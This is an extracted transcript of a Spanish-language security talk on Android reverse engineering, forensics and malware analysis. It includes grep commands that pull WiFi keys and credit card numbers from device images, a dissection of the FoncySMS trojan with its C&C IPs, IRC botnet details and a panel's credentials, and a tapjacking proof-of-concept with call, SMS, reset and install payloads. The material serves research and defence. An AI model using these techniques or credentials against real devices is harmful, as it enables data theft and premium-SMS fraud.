Download Pimp your Android - Internet Security Auditors
Document related concepts
no text concepts found
Transcript
Pimp your Android Sebastián Guerrero – sguerrero@isecauditors.com Agenda • Introducción • Montando lab de investigación. • Trasteando con aplicaciones. • Análisis forense. • Formar un zoológico de malware. • Evolución del malware. • Medidas de seguridad. • Reverseemos algo nuevo. • Desmantelando un C&C • It’s 0-day time. 2 Arquitectura Fichero APK • Es un fichero .zip falso • Usado para empacar las aplicaciones • Todo APK incluye: • classes.dex • resources.asc • /res • /META-INF • AndroidManifest.xml AndroidManifest Montando un laboratorio • Utilizar la ISO Android Reverse Engineering (A.R.E.) • • • Herramientas como Androguard, APKInspector, Apktool, AxmlPrinter, Dex2Jar, etc… Espacio de trabajo ya configurado. Ideal para máquinas virtuales. • Utilizar uno de los ports de Androix-x86. • • • • Proyecto OpenSource. Sistema operativo Android. Entorno fácilmente configurable. Fluidez. • Crearnos un lab a nuestra medida. p ndroid SDK Trasteando con aplicaciones JD-gui nderstand netbeans mali wireshark roguArd Eclipse ex2jar aksmali Montando un análisis dinámico 1. Creamos una máquina virtual usando el SDK. 2. Lanzamos el emulador y almacenamos las conexiones en un pcap: • 3. Instalamos la aplicación • 4. adb shell monkey –v –p package.app n Leemos los logs • 6. adb install appname.apk Lanzamos pruebas sobre el dispositivo y la aplicación • 5. emulator –port n @device-name –tcpdump foo.pcap adb shell logcat –d Podemos apoyarnos en Wireshark para leer los logs de conexiones. Simulando eventos • Llamadas de teléfono • • • • SMS • • sms send prefix-number text Emular velocidad de red • • • gsm call p-n gsm accept p-n gsm cancel p-n netspeed gsm n netspeed umts n Cambiar coordenadas GPS • geo fix -13… 21… Modus Operandi 1. AXMLPrinter2 – Extraemos la información del AndroidManifest.xml 2. Dex2jar – Convertimos el fichero .dex en un fichero de clases .jar. JAD – Transformamos los ficheros .class en ficheros .jad 3. JDgui – Leemos el código almacenado en el fichero .jar. 4. Understand – Análisis estático del código. 5. Wireshark – Análisis dinámico del código. Analizando la memoria • Trabajamos con arquitectura ARM • Dividida en cinco capas distintas • Cada modelo es diferente, con aplicaciones específicas. • Herramientas de pago. • ¿Qué podemos toquetear aquí? – – – Tarjeta SIM. Memoria física (Interna&Externa). Memoria volátil. (1) Proyecto Android-x86 http://www.android-x86.org/ Analizando la memoria • ¿Qué requisitos necesito? – – – • • Indispensable ser root en el teléfono: Tener disponible el Android Debug Driver (ADB) Es recomendable tener instalado un servicio SSH o FTP ¿Por dónde empiezo? – – Conocer cómo está estructurado el sistema. Saber cuáles son los directorios asociados a los diferentes puntos de montaje. – Realizar la correlación (NanDroid || (DD && ADB pull)) ¿Qué técnicas empleo? – – – – Uso de strings y búsqueda de cadenas. Análisis de las bases de datos. File carving. Análisis del sistema de ficheros. Tarjeta SIM • Información a obtener • • • • • Número IMSI. Información sobre localización. Información sobre tráfico SMS. Información sobre proveedor. Información sobre llamadas. • Dispositivo DEKART (35€ ~ 60€) • Características • • • • Dispositivo lectura/escritura USB. Hace copias de seguridad. Permite exportar la agenda Aplicaciones • • • • MOBILedit! Forensic Card Reader Oxygen USIM Detective. Una de strings • Claves WiFi – strings userdata.img | grep psk= • Correos electrónicos – strings userdata.img | egrep “[a-z A-Z_\-\.]+@[a-z A-Z\-\.]+\.[a-z A-Z\-\.]+” • Imágenes JPG – strings data.img | grep -oE "(.*\.jpe?g|.*\.JPE?G)" • Inicios de sesión – Strings userdata.img | grep –n10 “login” • Números de teléfono – strings userdata.img | grep -oE "([0-9]{9})" • Tarjetas de crédito – strings userdata.img | grep -oE "^((4\d{3})|(5[1-5]\d{2})|(6011))-?\d{4}-?\d{4}?\d{4}|3[4,7]\d{13}$" Una de BBDDs • Constituye un alto porcentaje del análisis forense. • Toda la información relevante y sensible se encuentra almacenada en estos ficheros. • Suelen encontrarse en /data/data • Backup con adb pull / SSH / FTP / Terminal Emulator… • Consultamos con SQLite3 / SQLviewer… Encryp… What the fcuk! • Llamadas realizadas (com.android.providers.contacts/databases – contacts2.db) • Mensajes (com.android.providers.telephony/databases – mmssms.db) • Whatsapp (com.whatsapp/databases - mgstore.db – wa.db) • Tuenti Encryp… What the fcuk! • Configuración de email (com.google.android.email/databases – EmailProvider.db) • Delicious (Fichero xml) • Facebook La memoria volátil • Debemos de realizar sin tratar de alterar el estado actual del dispositivo. – – – – No podemos apagar o reiniciar el terminal. Nada de instalar o eliminar aplicaciones. Cortar todo tipo de acceso a la red. Modo avión. • Necesitamos ser root. • No disponemos de ninguna API que permita realizar esta labor. • ¿Soluciones? – – No es posible acceder a /dev/mem por problemas de seguridad. Emular dispositivo en /dev/fmem no es posible en Android • • • Función page_is_ram para comprobar si el desplazamiento a realizar pertenece a la memoria física o no, no existe en arquitectura ARM. La herramienta DD sólo almacena enteros de 32 bits y desplazamientos más allá de 0x80000000 causan un integer overflow Volatilitux al poder Volatilitux • Pslist – Listado de los procesos que andan ejecutándose en memoria • Memmap – Mapa de memoria de un proceso. • • • Memdmp – Memoria direccionable de un proceso. Filedmp – Dumpea un fichero abierto Filelist – Muestra ficheros abiertos para un proceso dado Si pierdes el teléfono… Montando SelwoMarina • Android Market • Markets alternativos. – – – Aptoide Blapkmarket snappzmarket • Páginas de aplicaciones. – – – – – • • Mobilism.org DroidAppz AndroidFreeware MalwareDump Bazaar Aplicaciones de terceros Exploits Montando Selwomarina • Organización de información • • • • • Almacenamiento y búsqueda por características de las muestras. • Tamaño, tipo, md5, sha1, tags, fechas… Obtener, almacenar y recuperar elementos de las muestras. • Ficheros generados, Binarios desempaquetados, Exploits, cadenas embebidas. Almacenar, buscar y devolver información sobre análisis • IDA Pro BD, notas de análisis, artículos y referencias, muestras de red, sistemas Detección de firmas Análisis automatizado • Diseño modularizado. • Características de análisis estático • Soporte de múltiples análisis de malware. • Aislamiento de entornos de análisis dinámico. Evolución del malware Nombre Características Riesgo Nombre AndroidOS.FakePlayer.a Android.Basebridge AndroidOS_Droisnake.A Android.Uxipp AndroidOS.FakePlayer.b Andr/Plankton-A AndroidOS.FakePlayer.c Android.Jsmshider Android.Geinimi Android.GGTracker Android.HongTouTou Android.KungFu Variants Android.Pjapps AndroidOS_Crusewin.A Android.DroidDream AndroidOS_SpyGold.A Android.BgServ DroidDream Light Variant Android.Zeahache Android.Smssniffer Android.Walkinwat Android.HippoSMS Android.Adsms Android.Fokonge Android.Zsone Android/Sndapps.A Android.Spacem Android.Nickispy Android.LightDD Android.Lovetrap Android/DroidKungFu.A Android.Premiumtext Android.NickiBot Características Riesgo Vectores de ataque • Amenazas basadas en aplicaciones • Malware • Spyware • Amenazas de privacidad • Vulnerabilidades en aplicaciones • Amenazas basadas en la web • Phishing • Drive-by-downloads • Exploits en navegadores • Amenazas basadas en las redes • Exploits para protocolos de red • Wi-fi sniffing • Amenazas físicas • Pérdida o robo del dispositivo Medidas de seguridad • Da igual si somos usuarios o una entidad corporativa. • Los malos vienen a hacer daño. • Tenemos un tesoro entre nuestras manos. • Somos el eslabón débil. • Toda nuestra vida online (emails, banca, redes sociales, privacidad) está en nuestro teléfono. Medidas de seguridad • Canal de comunicación a través de VPN y enrutar todo el tráfico. • Implementar política de contraseñas fuerte. • Deshabilitar servicios y dispositivos inseguros/innecesarios (GPS/Bluetooth/SDCard/etc…). • Capas de seguridad adicionales • Herramientas de privacidad, antivirus, borrado remoto, localización por GPS. • Deshabilitar instalación de software de terceros. • Habilitar servicios de acceso remoto; SSH, FTP, DropBear, etc… Analizando algo nuevo • Android.FoncySMS • Kaspersky • Risk Level 1: Muy bajo • Descubierto: 15 Enero, 2012 • Actualizado: 30 Enero, 2012 • Actividad: com.android.bot • Descargas: 3370~ Información • Investigada por la OCLCTIC. • Investigación durante 2 meses. • “Banda” compuesta por dos miembros (“Cerebro” y técnico). • Envía SMS premium (4.5€). • 100.000€ 20/30€ por cabeza. • Se ha cobrado 2.000 víctimas desde verano del 2011. • Ciudades europeas y Canadá. Lista de permisos • • • • • • • • • • • android.permission.READ_LOGS android.permission.READ_PHONE_STATE android.permission.WRITE_EXTERNAL_STORAGE android.permission.INTERNET android.permission.VIBRATE android.permission.WAKE_LOCK android.permission.ACCESS_WIFI_STATE android.permission.CHANGE_WIFI_STATE android.permission.CHANGE_NETWORK_STATE android.permission.ACCESS_NETWORK_STATE android.permission.MODIFY_AUDIO_SETTINGS com.android.vending.CHECK_LICENSE Instalando la app • Iniciar emulador • Instalar la aplicación. • Revisar el estado actual. • Simular actividad. • Observar el nuevo estado. • Analizar Primer acercamiento Preparando el terreno Estructura de la aplicación • Tras la ejecución inicial… • Boomsh – ELF -32 bits LSB executable, ARM version 1 (SYSV), dynamically linked (uses shared library). • Border01.png – Zip archive data. • Footer01.png – ELF -32 bits LSB executable, ARV version 1 (SYSV), dynamically linked (uses shared libs). • Header01.png – ELF – 32bits LSB executable, ARM version 1 (SYSV), dinamically linked (uses shared library). • Rooted - Text file. Footer.png 1. Deja constancia de que el exploit ha tenido éxito. 2. Modifica los permisos de border01 a lectura/escritura (propietario) y escritura (resto). 3. Instala border01 lanzando el administrador de paquetes Footer.png (Round 2) • • • • • • IRCConnect – Conectar con un servidor IRC. IRCGenUser – Genera un usuario apoyándose en rand(). IRCHandler – Manejador de errores. IRCLogin – Establece sesión con el canal IRC. IRCPrivmsgParse&IRCParseLine – Parsean las órdenes recibidas. IRCSend – Realiza envío de mensajes. Footer (La chicha) 1. 2. 3. 4. 5. Establece conexión con 192.68.196.198. Genera nombre de usuario al azar. Se conecta al canal #andros. Queda a la escucha de recibir órdenes. Parsea las líneas que comienza por PRIVMGS Oído cocina • Comandos a ejecutar – PRIVMGS #andros :[SH] - %COMMAND_TO_RUN% – PRIVMGS #andros :[ID] - %REAL_USER_ID% – PRIVMGS #andros :[EXIT] – exiting ordered… Border01 • Permisos sospechosos – – – android.permission.RECEIVE_SMS android.permission.SEND_SMS android.permission.INTERNET AndroidMeActivity 1. Al iniciar la actividad se solicita el código ISO de la ciudad. 2. En base a esto, se establece un número premium u otro. 3. Se realizan 5 envíos a dicho número. • Ciudades a las que realiza el envío • • • • • • • • Spain Number: 35024 Message: GOLD Great Britain Number: 60999 Message: SP2 Morocco Number: 2052 Message: CODE Sierra Leone Number: 7604 Message: PASS Romania Number: 1339 Message: PASS Norway Number: 2227 Message: PASS Sweden Number: 72225 Message: PASS United States Number: 23333 Message: PASS SMSReceiver 1. Se encarga de la lógica del envío de mensajes. 2. Se reservan dos campos; uno para el número del destinatario y otro para el contenido. 3. Sí el SMS provece del número 81083, 3075, 64747, 60999, 63000, 35024, 2052, 7064, 1339, 9903, 2227, 72225, 23333, el broadcast se corta. 4. Establece conexión con 46.166.146.102 y envía el SMS recibido y el número de origen. 1. http://46.166.146.102/?=STR2(cuerpo mensaje)///STR1(número) IRC Botnet • • • • Servidor: Irc.anonops.li / 6667 Canal: #xxx User: user Pass: pass “Desmontando cúpulas” • ¿Objetivo? – • ¿Qué malware? – • Mostrar cómo está organizado y pensado un pequeño y simple C&C para Android. Simple Android SMS Trojan. ¿Funcionamiento? 1. 2. 3. 4. Se instala en el teléfono una aplicación infectada. Espera a que se realice la activación. Se forma un string con el IMEI del usuario y su teléfono. Se envía al C&C y se almacena en una BBDD. Estructura • • BBDD: admin_123/123 Panel: root/entermoney77 • Infecta varias plataformas – – – Android: mms.apk Symbian – Nokia s60v3, s60v5 – mms.sis Resto de plataformas con soporte java – mms.jar Contenido • Almacena la siguiente información: – – – – – – – • • Fecha infección. IMEI teléfono. OS. IP. País Número Texto Panel en ruso y sólo registra teléfonos de Rusia. Procedencia rusa. TapJacking • • • Vulnerabilidad Touch-Event Hijacking Mostramos al usuario una interfaz tapadera. Podemos obligar al usuario a: – – – – – Pagarnos unas vacaciones. Obtener todos los datos del teléfono. Capturar los movimientos del dispositivo. Instalar aplicaciones saltándonos los permisos. Creatividad… • Basada en toasts. • Bueno… ¿Y Google? Funcionamiento ¿Cómo está organizado? • Se han diseñado un total de 4 payloads • CallPayload.java – Realiza llamadas al número de indicado. • • • • MarketPayload.java – Descarga e instala aplicaciones del market. ResetPayload.java – Devuelve al estado de fábrica el teléfono. SMSPayload.java – Envía un mensaje de texto al número indicado. TweetPayload.java – Publica un tweet en una cuenta de usuario con sesión iniciada. • http://twitter.com/home?status=Yo me he comida más de una concha Codan por día • Está diseñado para que se puedan añadir payloads por el usuario de forma sencilla. • La estructura interna es la siguiente: • Main.java – Ejecuta el servicio y carga los payloads. • • • • MalwarePayload.java – Abstracción para implementar más fácilmente los payloads. MalwareService.java – Crea el toast e inicia el proceso de tap-jack. main.xml – Tiene el layout de la aplicación, lanzando con un evento onClick cada payload. strings.xml – Contiene las cadenas que son utilizadas en la aplicación. ¿Preguntas? ¡MUCHAS GRACIAS! @0xroot